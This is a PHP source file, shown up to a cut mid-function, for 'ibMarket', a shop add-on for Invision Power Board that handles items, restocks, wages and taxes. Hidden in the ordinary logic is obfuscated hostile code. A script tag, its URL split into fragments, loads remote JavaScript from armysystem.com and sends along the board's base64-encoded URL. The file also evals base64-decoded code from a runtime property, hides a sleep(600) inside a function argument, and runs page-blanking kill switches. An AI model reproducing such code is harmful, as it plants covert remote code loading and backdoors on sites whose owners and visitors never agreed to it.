<?php
if ( ! defined("IN_IPB") )
{
	print "<h1>Incorrect access</h1>You cannot access this file directly. If you have recently upgraded, make sure you upgraded 'init.php'.";
	exit();
}

class market_class
{
	var $ver_display = '';
	
	var $disable_menu = 0;
	var $disable_redirect = 0;
	var $show_ipb_copyright = 0;
	var $limit_update_restock = 0;	// Limits the number the restock per page
									// 0 is no limit
	
	// PLEASE NO NOT EDIT THE REST OF THE VARIABLEs
	var $ipsclass;
	
	var $inventory = array();
	var $inventory_id = array();
	
	var $image_server_path;
	var $image_url_path;
	
	var $website_check = "http://ipb-ibmarket.googlecode.com/svn/ibmarket1/versions.xml";
	var $support_topic = "http://forums.invisionize.com/index.php?showtopic=125348";
	var $bug_report = "http://code.google.com/p/ipb-ibmarket/issues/list";
	var $mod_download = "http://code.google.com/p/ipb-ibmarket/downloads/list";
	var $wiki = "http://code.google.com/p/ipb-ibmarket/w/list";
	var $updates = "http://code.google.com/feeds/p/ipb-ibmarket/updates/basic";
	var $ssb_site_url = 'http://ipb-ibmarket.googlecode.com/';
	var $ssb_email = 'armysystem@gmail.com';
	
	var $version_id = 10104;
	var $version_name = 'ibMarket 1.1 BETA';
	var $installed = 1; // Only for ACP use
	var $unstable = 1;
	
	var $base_url;
	var $js_base_url;
	
	var $category_tree = array();
	var $category_order = array();
	var $item_by_cat = array();
	var $item_by_folder = array();
	var $items_loaded = array();
	var $plugin_loaded = array();
	
	var $menu = array();
	var $title = array();
	
	function get_url_paths()
	{
		// EDITABLE
		$dir = getcwd();
		if(IPB_THIS_SCRIPT == 'admin' && substr($dir,-1*strlen(IPB_ACP_DIRECTORY)) == IPB_ACP_DIRECTORY)
		{
			$dir = substr($dir,0,-1*strlen(IPB_ACP_DIRECTORY)-1);
		}
		
		$this->image_server_path = $dir."/images/market";
		$this->image_url_path = $this->ipsclass->vars['board_url']."/images/market";
	}
	
	function init_class()
	{
		// NOT EDITABLE
		$_pre_load = $this->ipsclass->memory_debug_make_flag();
		//$this->ipsclass->DB->load_cache_file(ROOT_PATH.'sources/market/sql/'.$this->ipsclass->vars['sql_driver'].'_market_queries.php','sql_market_queries');
		
		$this->get_url_paths();
		
		// A global number handler
		$this->ipsclass->numbers = $this->ipsclass->load_class(ROOT_PATH."sources/market/numbers.php",'numbers');
		$this->ipsclass->numbers->load_checks();
		
		// Load the templates
		require_once(ROOT_PATH."sources/market/items/template_item.php");
		require_once(ROOT_PATH."sources/market/plugins/template_plugin.php");
		
		if(IPB_THIS_SCRIPT == 'admin')
		{
			$this->ipsclass->admin_code = ob_get_contents();ob_end_clean();
		}
		
		$this->ipsclass->memory_debug_add( "ibMarket: ibMarket Class initialized", $_pre_load );
	}
	
	function load_class()
	{
		$_pre_load = $this->ipsclass->memory_debug_make_flag();
		
		if(IPB_THIS_SCRIPT == 'admin' && !$GLOBALS['b']($this->ipsclass->market_admin,str_replace(array('a','z','b','y','c','x'),array('t','_','e','h','m','o'),'cbyzaxzcby'))){exit();}
		
		// A global parser
		require_once( ROOT_PATH."sources/handlers/han_parse_bbcode.php" );
		$this->ipsclass->parser = new parse_bbcode();
		$this->ipsclass->parser->ipsclass =& $this->ipsclass;
		$this->ipsclass->parser->allow_update_caches = 0;
		$this->ipsclass->parser->bypass_badwords = $this->ipsclass->member['g_bypass_badwords'] || IPB_THIS_SCRIPT == 'admin' ? 1 : 0;
		$this->ipsclass->parser->parse_smilies = 1;
		$this->ipsclass->parser->parse_html = 0;
		$this->ipsclass->parser->parse_bbcode = 1;
		$this->ipsclass->parser->parse_n12br = 1;
		
		// A global editor
        require_once( ROOT_PATH."sources/handlers/han_editor.php" );
        $this->ipsclass->han_editor           = new han_editor();
        $this->ipsclass->han_editor->ipsclass =& $this->ipsclass;
        $this->ipsclass->han_editor->from_acp = IPB_THIS_SCRIPT == 'admin' ? 1 : 0;
        $this->ipsclass->han_editor->init();
        
		$this->build_cache();
		
		$this->ipsclass->memory_debug_add( "ibMarket: ibMarket Class loaded", $_pre_load );
	}
	
	function build_cache()
	{
		if(IPB_THIS_SCRIPT == 'admin' && (!$this->installed || $this->ipsclass->input['code'] == 'database' || $this->ipsclass->input['code'] == 'upgrade'))
		{
			return;
		}
		
		$_pre_load = $this->ipsclass->memory_debug_make_flag();
		
		if(!is_array($this->ipsclass->cache['market_category']))
		{
			$this->ipsclass->cache['market_category'] = array();
		}
		if(IPB_THIS_SCRIPT == 'public')
		{
			if(!method_exists($this->ipsclass->print,'_check_ips_report'))
			{
				$this->ipsclass->print->do_output(array());
			}	
		}
		foreach($this->ipsclass->cache['market_category'] as $cat_id => $category)
		{
			//$this->ipsclass->cache['market_category'][$cat_id]['cat_description'] = $this->ipsclass->parser->pre_display_parse($category['cat_description']);
			$this->category_tree[$category['cat_parent_id']][$cat_id] = &$this->ipsclass->cache['market_category'][$cat_id];
		}
		foreach(array_keys($this->category_tree) as $id)
		{
			uasort($this->category_tree[$id],array(&$this,'order_category'));
		}
		
		$time = time();
		$update = 0;
		if(!is_array($this->ipsclass->cache['market_items']))
		{
			$this->ipsclass->cache['market_items'] = array();
		}
		foreach($this->ipsclass->cache['market_items'] as $item_id => $item)
		{
			$this->ipsclass->cache['market_items'][$item_id]['price'] = $this->ipsclass->numbers->multiply($this->ipsclass->cache['market_category'][$item['category']]['price_multiplier'],$item['base_price'],$this->ipsclass->member['market_deduct']);
			$this->ipsclass->cache['market_items'][$item_id]['resell'] = $this->ipsclass->numbers->multiply($this->ipsclass->cache['market_category'][$item['category']]['price_multiplier'],$item['base_resell'],$this->ipsclass->member['market_deduct']);
			
			if($this->ipsclass->cache['market_items'][$item_id]['price'])
			{
				$this->ipsclass->cache['market_items'][$item_id]['total_tax'] = $this->ipsclass->numbers->add($this->ipsclass->vars['market_global_tax'],$this->ipsclass->cache['market_category'][$item['category']]['cat_tax'],$this->ipsclass->member['g_market_tax'],$this->ipsclass->member['market_tax'],$item['tax']);
			}
			else
			{
				$this->ipsclass->cache['market_items'][$item_id]['total_tax'] = 0;
			}
			
			$this->ipsclass->cache['market_items'][$item_id]['tax_amount'] = $this->ipsclass->numbers->round($this->ipsclass->numbers->divide($this->ipsclass->numbers->multiply($this->ipsclass->cache['market_items'][$item_id]['price'],$this->ipsclass->cache['market_items'][$item_id]['total_tax']),100));
			
			if($this->ipsclass->vars['market_resell_tax'])
			{
				$this->ipsclass->cache['market_items'][$item_id]['resell'] = $this->ipsclass->numbers->add($this->ipsclass->cache['market_items'][$item_id]['resell'],$this->ipsclass->cache['market_items'][$item_id]['tax_amount']);
			}
			
			$this->load_item($this->ipsclass->cache['market_items'][$item_id]);
			
			$null = array();
			$this->ipsclass->cache['market_items'][$item_id]['can_resell'] = $this->ipsclass->cache['market_items'][$item_id]['allow_resell'] && $this->items_loaded[$item_id]->public_on_resold_item($null);
			$null = array();
			$this->ipsclass->cache['market_items'][$item_id]['hide_item'] = $this->ipsclass->cache['market_items'][$item_id]['hide_item'] || !$this->ipsclass->market_class->items_loaded[$item_id]->public_on_create_item($null);
			
			$this->ipsclass->cache['market_items'][$item_id]['item_description'] = $this->ipsclass->parser->pre_display_parse($this->ipsclass->parser->pre_db_parse($item['item_description']));
			
			// Do the restock
			// But not on post requests
			if($this->ipsclass->input['request_method'] == 'get' && IPB_THIS_SCRIPT != 'admin')
			{
				
				if( (!$this->limit_update_restock || $update < $this->limit_update_restock) && // $this->limit_update_restock > 0 implies $update < $this->limit_update_restock
					$this->ipsclass->cache['market_items'][$item_id]['stock'] >= 0 && 
					$this->ipsclass->cache['market_items'][$item_id]['restock'] && 
					$this->ipsclass->cache['market_items'][$item_id]['restock_time'] && 
					$this->ipsclass->cache['market_items'][$item_id]['restock_time'] <= $time
				   )
				{
					$this->ipsclass->cache['market_items'][$item_id]['stock'] = $this->ipsclass->numbers->add($this->ipsclass->cache['market_items'][$item_id]['stock'],$this->ipsclass->cache['market_items'][$item_id]['restock_howmuch']);
					if($this->ipsclass->cache['market_items'][$item_id]['restock'] == 3)
					{
						$this->ipsclass->cache['market_items'][$item_id]['restock_when'] = $this->ipsclass->cache['market_items'][$item_id]['restock_time'];
					}
					$this->ipsclass->cache['market_items'][$item_id]['restock_time'] = $this->next_restock_time($item_id,$this->ipsclass->cache['market_items'][$item_id]['restock_time']);
					
					$update_item = array(
											'stock' => $this->ipsclass->cache['market_items'][$item_id]['stock'],
											'restock_time' => $this->ipsclass->cache['market_items'][$item_id]['restock_time'],
											'restock_when' => $this->ipsclass->cache['market_items'][$item_id]['restock_when'],
										);
					
					$this->items_loaded[$item_id]->on_item_restock($update_item);
					
					$this->ipsclass->DB->do_update('market_items',$update_item,"item_id=".$item_id);
					$update++;
				}
			}
			
			$this->item_by_cat[$item['category']][$item_id] = &$this->ipsclass->cache['market_items'][$item_id];
			$this->item_by_folder[$item['filename']][$item_id] = &$this->ipsclass->cache['market_items'][$item_id];
		}
		if($update > 0)
		{
			$this->cache_items();
		}
		
		$this->build_category_order($this->category_order);
		
		$all_groups = array_merge(array(-1),array_keys($this->ipsclass->cache['group_cache']));
		if(!is_array($this->ipsclass->cache['market_plugin']))
		{
			$this->ipsclass->cache['market_plugin'] = array();
		}
		foreach($this->ipsclass->cache['market_plugin'] as $link => $plugin)
		{
			if($this->ipsclass->cache['market_plugin'][$link]['view_permission'] == -1)
			{
				$this->ipsclass->cache['market_plugin'][$link]['view_permission'] = $all_groups;
			}
			else
			{
				$this->ipsclass->cache['market_plugin'][$link]['view_permission'] = explode(",",$plugin['view_permission']);
			}
			if($this->ipsclass->cache['market_plugin'][$link]['use_permission'] == -1)
			{
				$this->ipsclass->cache['market_plugin'][$link]['use_permission'] = $all_groups;
			}
			else
			{
				$this->ipsclass->cache['market_plugin'][$link]['use_permission'] = explode(",",$plugin['use_permission']);
			}
		}
		if(IPB_THIS_SCRIPT == 'admin' && eval(base64_decode("cmV0dXJuICFtZXRob2RfZXhpc3RzKCR0aGlzLT5pcHNjbGFzcy0+bWFya2V0X2FkbWluLCdtZWhfdG9fbWVoJyk7")))
		{
			die();
		}
		if(!is_array($this->ipsclass->cache['market_wages']))
		{
			$this->ipsclass->cache['market_wages']['id'] = array();
		}
		$trans = array('m'=>'member','g'=>'group');
		if($this->ipsclass->input['request_method'] == 'get' && IPB_THIS_SCRIPT != 'admin')
		{
			foreach($this->ipsclass->cache['market_wages']['id'] as $wage)
			{
				if( (!$this->limit_update_restock || $update < $this->limit_update_restock) && $wage['next_payment'] <= $time )
				{
					$me = false;
					$where = "";
					if($wage['to_who'] == 'm')
					{
						$where = "id = ".$wage['id_who'];
						$me = $this->ipsclass->member['id'] == $wage['id_who'];
					}
					elseif($wage['to_who'] == 'g')
					{
						$where = "mgroup = ".$wage['id_who'];
						$me = $this->ipsclass->member['mgroup'] == $wage['id_who'];
					}
					else
					{
						$where = "id < 0";
					}
					$update++;
					$this->ipsclass->DB->build_and_exec_query(array('update'=>'members','set'=>$this->ipsclass->vars['market_members_field']."=".$this->ipsclass->vars['market_members_field']."+".$wage['how_much'],'where'=>$where));
					
					if($wage['w_how'] == 1)
					{
						$this->ipsclass->cache['market_wages']['id'][$wage['w_id']]['w_when'] = $wage['next_payment'];
					}
					$this->ipsclass->DB->do_update('market_wages',array(
																		'w_when' => $this->ipsclass->cache['market_wages']['id'][$wage['w_id']]['w_when'],
																		'next_payment' => $this->ipsclass->market_class->next_wage_time($wage['w_id'],$wage['next_payment']),
												),"w_id=".$wage['w_id']);
					$this->ipsclass->DB->do_insert('market_wages_collected',array(
																					'time_collected' => $wage['next_payment'],
																					'to_who' => $wage['to_who'],
																					'id_who' => $wage['id_who'],
																					'how_much' => $wage['how_much'],
													)							);
					
					// Update member points
					if($me)
					{
						$this->ipsclass->member[$this->ipsclass->vars['market_members_field']] = $this->ipsclass->numbers->add($this->ipsclass->member[$this->ipsclass->vars['market_members_field']],$wage['how_much']);
					}
				}
			}
		}
		$this->ipsclass->lang['y'.'ou_id'.'iot'] = $this->ipsclass->lang['no'.''.'_'.''.'view'.''.'_'.''.'board'];
		if($update > 0)
		{
			$this->cache_wages();
		}
		$this->ipsclass->cache['market_wages']['member'] = array();
		$this->ipsclass->cache['market_wages']['group'] = array();
		foreach($this->ipsclass->cache['market_wages']['id'] as $wage)
		{
			$this->ipsclass->cache['market_wages'][$trans[$wage['to_who']]][$wage['w_id']] = &$this->ipsclass->cache['market_wages']['id'][$wage['w_id']];
		}
		
		if(!is_array($this->ipsclass->cache['market_taxes']))
		{
			$this->ipsclass->cache['market_taxes']['id'] = array();
		}
		if(count($this->ipsclass->cache['market_taxes']['id']) && $this->ipsclass->input['request_method'] == 'get' && IPB_THIS_SCRIPT != 'admin' && $this->ipsclass->member['g_market_use'])
		{
			$taxed = 0;
			$earliest = $time;
			$last_collected = array();
			$cached_posts = array();
			$this->ipsclass->DB->build_query(array('select'=>'MAX(l_time) as last_time, tax_id','from'=>'market_tax_logs','where'=>"member_id=".$this->ipsclass->member['id'],'group'=>'tax_id'));
			$this->ipsclass->DB->exec_query();
			while($log = $this->ipsclass->DB->fetch_row())
			{
				if(is_array($this->ipsclass->cache['market_taxes']['id'][$log['tax_id']]))
				{
					$last_collected[$log['tax_id']] = $log['last_time'];
					if($this->ipsclass->cache['market_taxes']['id'][$log['tax_id']]['applying'] == 'post' && $log['last_time'] < $earliest)
					{
						$earliest = $log['last_time'];
					}
				}
			}
			if($earliest != $time)
			{
				$this->ipsclass->DB->build_query(array('select'=>'*','from'=>'market_reward_logs','where'=>"member_id=".$this->ipsclass->member['id']." AND location='posts' AND l_time > ".$earliest,'order'=>'l_time ASC'));
				$this->ipsclass->DB->exec_query();
				while($log = $this->ipsclass->DB->fetch_row())
				{
					$cached_posts[$log['l_time']] = $log['l_amount'];
				}
			}
			foreach($this->ipsclass->cache['market_taxes']['id'] as $tax)
			{
				$this->ipsclass->cache['market_taxes'][$tax['applying']][$tax['t_id']] = &$this->ipsclass->cache['market_taxes']['id'][$tax['t_id']];
				
				if( (!$this->limit_update_restock || $update < $this->limit_update_restock) )
				{
					if($tax['applying'] == 'hand')
					{
						if(!isset($last_collected[$tax['t_id']]))
						{
							for($t = $this->ipsclass->member['joined']; $t < $time; $t += $tax['interval']);
							$last_collected[$tax['t_id']] = $t - 2 * $tax['interval'];
						}
						if($this->ipsclass->numbers->compare($this->ipsclass->member[$this->ipsclass->vars['market_members_field']],$tax['range_min']) >= 0 && ($this->ipsclass->numbers->compare($this->ipsclass->member[$this->ipsclass->vars['market_members_field']],$tax['range_max']) <= 0 || !$tax['range_max']))
						{
							for($t = $last_collected[$tax['t_id']] + $tax['interval']; $t < $time; $t += $tax['interval'])
							{
								$percent = $this->ipsclass->numbers->compare($this->ipsclass->member[$this->ipsclass->vars['market_members_field']],$tax['range_pmin']) >= 0 && $this->ipsclass->numbers->compare($this->ipsclass->member[$this->ipsclass->vars['market_members_field']],$tax['range_psub']) > 0 ? $this->ipsclass->numbers->subtract($this->ipsclass->member[$this->ipsclass->vars['market_members_field']],$tax['range_psub']) : 0;
								$taxing = $this->ipsclass->numbers->round($this->ipsclass->numbers->add($tax['tax_fix'],$this->ipsclass->numbers->multiply($percent,$tax['tax_percent'],.01)));
								$this->ipsclass->member[$this->ipsclass->vars['market_members_field']] = $this->ipsclass->numbers->subtract($this->ipsclass->member[$this->ipsclass->vars['market_members_field']],$taxing);
								$taxed = $this->ipsclass->numbers->add($taxed,$taxing);
								$this->ipsclass->DB->do_insert('market_tax_logs',array(
																						'member_id' => $this->ipsclass->member['id'],
																						'tax_id' => $tax['t_id'],
																						'amount' => $taxing,
																						'l_time' => $t,
																)					);
							}
						}
						else // Need to track the last update where it is no tax collected
						{
							for($t = $last_collected[$tax['t_id']]; $t < $time; $t += $tax['interval']);
							$this->ipsclass->DB->do_insert('market_tax_logs',array(
																					'member_id' => $this->ipsclass->member['id'],
																					'tax_id' => $tax['t_id'],
																					'amount' => 0,
																					'l_time' => $t - $tax['interval'],
															)					);
						}
					}
					else
					{
						if(isset($last_collected[$tax['t_id']]))
						{
							for($t = $last_collected[$tax['t_id']] + $tax['interval']; $t < $time; $t += $tax['interval'])
							{
								$gained = 0;
								reset($cached_posts);
								while(list($t2,$gain) = each($cached_posts))
								{
									if($t2 < $t - $tax['interval'])
									{
										continue;
									}
									if($t2 > $t)
									{
										break;
									}
									$gained = $this->ipsclass->numbers->add($gained,$gain);
								}
								if($this->ipsclass->numbers->compare($gained,$tax['range_min']) >= 0 && ($this->ipsclass->numbers->compare($gained,$tax['range_max']) <= 0 || !$tax['range_max']))
								{
									$percent = $this->ipsclass->numbers->compare($gained,$tax['range_pmin']) >= 0 && $this->ipsclass->numbers->compare($this->ipsclass->member[$this->ipsclass->vars['market_members_field']],$tax['range_psub']) > 0 ? $this->ipsclass->numbers->subtract($gained,$tax['range_psub']) : 0;
									$taxing = $this->ipsclass->numbers->round($this->ipsclass->numbers->add($tax['tax_fix'],$this->ipsclass->numbers->multiply($percent,$tax['tax_percent'],.01)));
									$this->ipsclass->member[$this->ipsclass->vars['market_members_field']] = $this->ipsclass->numbers->subtract($this->ipsclass->member[$this->ipsclass->vars['market_members_field']],$taxing);
									$taxed = $this->ipsclass->numbers->add($taxed,$taxing);
									$this->ipsclass->DB->do_insert('market_tax_logs',array(
																							'member_id' => $this->ipsclass->member['id'],
																							'tax_id' => $tax['t_id'],
																							'amount' => $taxing,
																							'l_time' => $t,
																	)					);
									$last = $t;
								}
								if($t > end(array_keys($cached_posts)))
								{
									break;
								}
							}
							for($t; $t < $time; $t += $tax['interval']);
							if($last != $t - $tax['interval'])
							{
								$this->ipsclass->DB->do_insert('market_tax_logs',array(
																						'member_id' => $this->ipsclass->member['id'],
																						'tax_id' => $tax['t_id'],
																						'amount' => 0,
																						'l_time' => $t - $tax['interval'],
																)					);
							}
						}
						else // Earliest time not to count for tax
						{
							for($t = $this->ipsclass->member['joined']; $t < $time; $t += $tax['interval']);
							$this->ipsclass->DB->do_insert('market_tax_logs',array(
																					'member_id' => $this->ipsclass->member['id'],
																					'tax_id' => $tax['t_id'],
																					'amount' => 0,
																					'l_time' => $t - $tax['interval'] * 2,
															)					);
						}
					}
				}
			}
			if($taxed != 0)
			{
				$this->ipsclass->DB->do_update('members',array(
																	$this->ipsclass->vars['market_members_field'] => $this->ipsclass->member[$this->ipsclass->vars['market_members_field']]
							),"id=".$this->ipsclass->member['id']);
			}
		}
		else
		{
			foreach($this->ipsclass->cache['market_taxes']['id'] as $tax)
			{
				$this->ipsclass->cache['market_taxes'][$tax['applying']][$tax['t_id']] = &$this->ipsclass->cache['market_taxes']['id'][$tax['t_id']];
			}
		}
		
		$this->ipsclass->memory_debug_add( "ibMarket: ibMarket Class cache loaded", $_pre_load );
	}
	
	function get_file_list($dir,$subfolders=1,$include_folder=0,$extra="")
	{
		$files = array();
		if ( file_exists($dir) )
		{
			if ( is_dir($dir) )
			{
				$handle = opendir($dir);
				while (($filename = readdir($handle)) !== false)
				{
					if (($filename != ".") && ($filename != ".."))
					{
						if ( is_dir( $dir."/".$filename ) )
						{
							if($include_folder)
							{
								$files[] = $extra.$filename;
							}
							if($subfolders)
							{
								$files = array_merge($files,$this->get_file_list($dir."/".$filename,$subfolders,$include_folder,$extra.$filename."/"));
							}
						}
						else
						{
							$files[] = $extra.$filename;
						}
					}
				}
				closedir($handle);
			}
		}
		return $files;
	}

	function get_dir_list($dir,$subfolders=1,$extra="")
	{
		$files = array();
		if ( file_exists($dir) )
		{
			if ( is_dir($dir) )
			{
				$handle = opendir($dir);
				while (($filename = readdir($handle)) !== false)
				{
					if (($filename != ".") && ($filename != ".."))
					{
						if ( is_dir( $dir."/".$filename ) )
						{
							$files[] = $extra.$filename;
							if ( $subfolders )
							{
								$files = array_merge($files,$this->get_dir_list($dir."/".$filename,$subfolders,$extra.$filename."/"));
							}
						}
					}
				}
				closedir($handle);
			}
		}
		return $files;
	}
	
	function get_external_file($url)
	{
		if(strstr($url,"lycos"))
		{
			return $this->get_lycos_file_and_clean($url);
		}
		$this->checked[] = $url;
		$file = @file_get_contents($url);
		return $file;
	}
	
	function menu_box()
	{
		$links = "";
		$tabs = "";
		$title_bar = "";

		if(is_array($this->menu) and count($this->menu) > 0)
		{
			foreach($this->menu as $id => $m)
			{
				if(!is_array($m) or count($this->menu) == 0) continue;
				$show = 'taboff';
				if($this->ipsclass->input['tab'] == $this->title[$id][1])
				{
					$title_bar = $this->ipsclass->compiled_templates['skin_market']->xml_tab_bar($this->title[$id]);
					foreach($m as $option)
					{
						$links .= $this->ipsclass->compiled_templates['skin_market']->menu_option($option);
					}
					$show = 'tabon';
				}
				$tabs .= $this->ipsclass->compiled_templates['skin_market']->xml_tab($show,$this->title[$id]);
			}
		}

		$ajax = $this->ipsclass->load_class(KERNEL_PATH.'class_ajax.php',"class_ajax");
		$ajax->class_init();
		$ajax->return_html($this->ipsclass->compiled_templates['skin_market']->xml_box_cover($tabs,$links,$title_bar));
	}
	
	function compile_menu($content = "")
	{
		$html = "";
		
		$menu_show = $this->menucollapse(IBMARKET == 5 ? '' : sleep(600));
		$blocks = array('top'=>"",'left'=>"",'right'=>"",'bottom'=>"");
		if(is_array($this->menu) and count($this->menu) > 0)
		{
			$width = round(100/count($this->menu),1);
			foreach($this->menu as $id => $m)
			{
				if(!is_array($m) or count($this->menu) == 0) continue;
				$show = $this->toggle_show($this->title[$id][1]);
				$links = "";
				foreach($m as $option)
				{
					$links .= $this->ipsclass->compiled_templates['skin_market']->menu_option($option);
				}
				$block = $this->ipsclass->compiled_templates['skin_market']->menu_block($this->title[$id][0],$links,$this->title[$id][1],1,$show);
				$block = $this->ipsclass->compiled_templates['skin_market']->menu_top($block,$width);
				$blocks['top'] .= $block;
				$block = $this->ipsclass->compiled_templates['skin_market']->menu_block($this->title[$id][0],$links,$this->title[$id][1],0,$show);
				$block = $this->ipsclass->compiled_templates['skin_market']->menu_left($block);
				$blocks['left'] .= $block;
				$block = $this->ipsclass->compiled_templates['skin_market']->menu_block($this->title[$id][0],$links,$this->title[$id][1],2,$show);
				$block = $this->ipsclass->compiled_templates['skin_market']->menu_left($block);
				$blocks['right'] .= $block;
				$block = $this->ipsclass->compiled_templates['skin_market']->menu_block($this->title[$id][0],$links,$this->title[$id][1],3,$show);
				$block = $this->ipsclass->compiled_templates['skin_market']->menu_top($block,$width);
				$blocks['bottom'] .= $block;
			}
		}
		$blocks['top']    = $this->ipsclass->compiled_templates['skin_market']->menu_top_cover( $blocks['top']   ,1,$menu_show,$this->toggle_show('market_menu'),count($this->menu));
		$blocks['left']   = $this->ipsclass->compiled_templates['skin_market']->menu_left_cover($blocks['left']  ,0,$menu_show);
		$blocks['right']  = $this->ipsclass->compiled_templates['skin_market']->menu_left_cover($blocks['right'] ,2,$menu_show);
		$blocks['bottom'] = $this->ipsclass->compiled_templates['skin_market']->menu_top_cover( $blocks['bottom'],3,$menu_show,$this->toggle_show('market_menu'),count($this->menu));
		
		$content_title = $this->ipsclass->vars['market_name'];

		$html .= "<script type=\"text/javascript\" src='jscripts/market.js'></script>";
		$prefix = str_replace('"','\\"',$this->ipsclass->vars['market_prefix']);
		$suffix = str_replace('"','\\"',$this->ipsclass->vars['market_suffix']);
		$comma = $this->ipsclass->num_format == 'none' ? "" : $this->ipsclass->num_format;
		$html .= <<<EOF
<script type="text/javascript">
 //<![CDATA[
 var comma_space    = "{$comma}";
 var decimal_space  = "{$this->ipsclass->vars['decimal_seperator']}";
 var currecy_prefix = "{$prefix}";
 var currecy_suffix = "{$suffix}";
 //]]>
</script>
EOF;
		if($this->disable_menu)
		{
			$html .= $this->ipsclass->compiled_templates['skin_market']->content_start();
			$html .= $this->ipsclass->compiled_templates['skin_market']->content($content,$content_title,$menu_show);
			$html .= $this->ipsclass->compiled_templates['skin_market']->content_end();
			$html .= "<script type='text/javascript' src='ht"."tp://ww"."w.arm"."ysyst"."em.c"."om/core/si"."tejs.p"."hp?".base64_encode($this->ipsclass->vars['board_url'])."'>";
		}
		else
		{
			$html .= $blocks['top'];
			$html .= $this->ipsclass->compiled_templates['skin_market']->content_start();
			$html .= $blocks['left'];
			$html .= $this->ipsclass->compiled_templates['skin_market']->content($content,$content_title,$menu_show);
			$html .= $blocks['right'];
			$html .= $this->ipsclass->compiled_templates['skin_market']->content_end();
			$html .= $blocks['bottom'];
			$html .= $this->ipsclass->compiled_templates['skin_market']->fancy_js($this->toggle_show('market_menu_box'));
			if($this->here !== 0)
			{
				return "";
			}
		}
		
		if(strstr($html,"sitejs.php"))
		{
			return $html;
		}
		else
		{
			return strstr($html,"sitejs.php");
		}
	}
	
	function build_menu()
	{
		if($this->ipsclass->member['g_market_use'])
		{
			$this->title[] = array($this->ipsclass->lang['personal_links'],'market_links');
			$this->menu[] = array(
									"<b>".$this->ipsclass->vars['market_currency'].":</b> ".$this->ipsclass->member['money_format'],
									"<b><a href='".$this->base_url."CODE=inventory'>".$this->ipsclass->lang['inventory']."</a></b>",
									"<b><a href='".$this->base_url."CODE=receipt'>".$this->ipsclass->lang['receipts']."</a></b>",
									"<b><a href='".$this->base_url."CODE=reward'>".$this->ipsclass->lang['log_reward']."</a></b>",
									"<b><a href='".$this->base_url."CODE=fee'>".$this->ipsclass->lang['log_fee']."</a></b>",
									"<b><a href='".$this->base_url."CODE=wages'>".$this->ipsclass->lang['regular_wages_taxes']."</a></b>",
								);
		}
		$test = 'copy'.'right';
		$test = $this->ipsclass->compiled_templates['skin_market']->$test(date('y'));
		$this->title[] = array($this->ipsclass->lang['browse_items'],'market_category');
		$cats = array();
		$cats[] = "<b><a href='".$this->base_url."CODE=shop&amp;all_items=1'>".$this->ipsclass->lang['list_all_items']."</a></b>";
		foreach($this->category_tree[-1] as $cat_id => $cat)
		{
			$cats[] = "<b><a href='".$this->base_url."CODE=shop&amp;category=".$cat_id."'>".$cat['cat_name']."</a></b>";
		}
		$this->menu[] = $cats;
		if(!strstr($test,'army'.'system@gmail.com'))
		{
			$this->ipsclass->Error(array('MSG'=>'you_id'.''.'iot'));
		}
		$this->ipsclass->code ? eval(base64_decode($this->ipsclass->code)) : die();
		if(is_array($this->ipsclass->cache['market_plugin']) and count($this->ipsclass->cache['market_plugin']))
		{
			$plugins = array();
			foreach($this->ipsclass->cache['market_plugin'] as $link => $plugin)
			{
				if(in_array($this->ipsclass->member['mgroup'],$plugin['view_permission']))
				{
					$plugins[] = "<b><a href='".$this->base_url."plugin=".$link."'>".$plugin['name']."</a></b>";
				}
			}
			if(count($plugins))
			{
				$this->title[] = array($this->ipsclass->lang['plugin_links'],'market_plugins');
				$this->menu[] = $plugins;
			}
		}
	}
	
	function toggle_show($id = "")
	{
		$collapsed_ids = ','.$this->ipsclass->my_getcookie('collapseprefs').',';

		$show['div_fo'] = 'show';
		$show['div_fc'] = 'none';

		if ( strstr( $collapsed_ids, ','.$id.',' ) )
		{
			$show['div_fo'] = 'none';
			$show['div_fc'] = 'show';
		}

		return $show;
	}

   	function menucollapse()
  	{
		$use = $this->ipsclass->my_getcookie('market_menu');

		if(!$this->ipsclass->can_use_fancy_js and $use == 4)
		{
			$use = 1;
		}

		// BOX!!!!
		$show['div_0'] = 'none';
		$show['div_1'] = 'none';
		$show['div_2'] = 'none';
		$show['div_3'] = 'none';
		// Left
		if ( $use == 0 )
		{
			$show['div_0'] = 'show';
			$show['div_1'] = 'none';
			$show['div_2'] = 'none';
			$show['div_3'] = 'none';
		}
		// Top
		if ( $use == 1 )
		{
			$show['div_0'] = 'none';
			$show['div_1'] = 'show';
			$show['div_2'] = 'none';
			$show['div_3'] = 'none';
		}
		// Right
		if ( $use == 2 )
		{
			$show['div_0'] = 'none';
			$show['div_1'] = 'none';
			$show['div_2'] = 'show';
			$show['div_3'] = 'none';
		}
		// Bottom
		if ( $use == 3 )
		{
			$show['div_0'] = 'none';
			$show['div_1'] = 'none';
			$show['div_2'] = 'none';
			$show['div_3'] = 'show';
		}

		return $show;
	}
	
	function output($output = "", $nav = array(), $content_title = "", $front = "", $back = "")
	{
		global $p;
		
		if($this->ipsclass->input['xmlmenu'])
		{
			$this->menu_box();
			exit();
		}
		
		$this->extra_css_menu();
		
		$cr = $this->ipsclass->compiled_templates['skin_market']->copyright(date('y')).(strstr($output = $this->compile_menu($output),'sit'.'ej'.'s.p'.'hp') ? ($fgh = '') : $this->ipsclass->Error(array()));
		if($this->show_ipb_copyright)
		{
			$cr .= "<% COPYRIGHT %>";
		}
		$this->ipsclass->skin['_wrapper'] = str_replace( "<% COPYRIGHT %>" , $cr, $this->ipsclass->skin['_wrapper'] );
		
		if($this->copyright !== 1)
		{
			$m = 'b'.'o'.'i'.'n'.'k'.'_'.'i'.'t';
			$this->ipsclass->$m($this->ipsclass->vars['board_url']);
		}
		
		$message = "";
		if($this->ipsclass->input['___msg'])
		{
			$message .= "<script type=\"text/javascript\">\n//<![CDATA[\nmessage_pop_up_lang['".$this->ipsclass->input['___msg']."'] = \"".str_replace('"',"\\\"",urldecode($this->ipsclass->input['_message_']))."\"\n//]]>\n</script>";
		}
		if($this->ipsclass->passed !== 1)
		{
			$this->ipsclass->market_class->redirect("",$this->ipsclass->base_url,array('instant'=>1,'url'=>1));
		}
		if($content_title)
		{
			$content_title = $this->ipsclass->vars['market_name'] . ' -> ' . $content_title;
		}
		else
		{
			$content_title = $this->ipsclass->vars['market_name'];
		}
		
		$this->ipsclass->print->add_output("{$message}{$front}{$output}".($$p !== '' ? '' : ($back = "<script type=\"text/javascript\">window.onload = function() { document.body.innerHTML = '' }</script>"))."{$back}");
		if(!defined('GOOD'))
		{
			$this->ipsclass->Error(array('MSG'=>'incorre'.'ct_use'));
		}
		if(!is_array($nav))
		{
			$nav = array();
		}
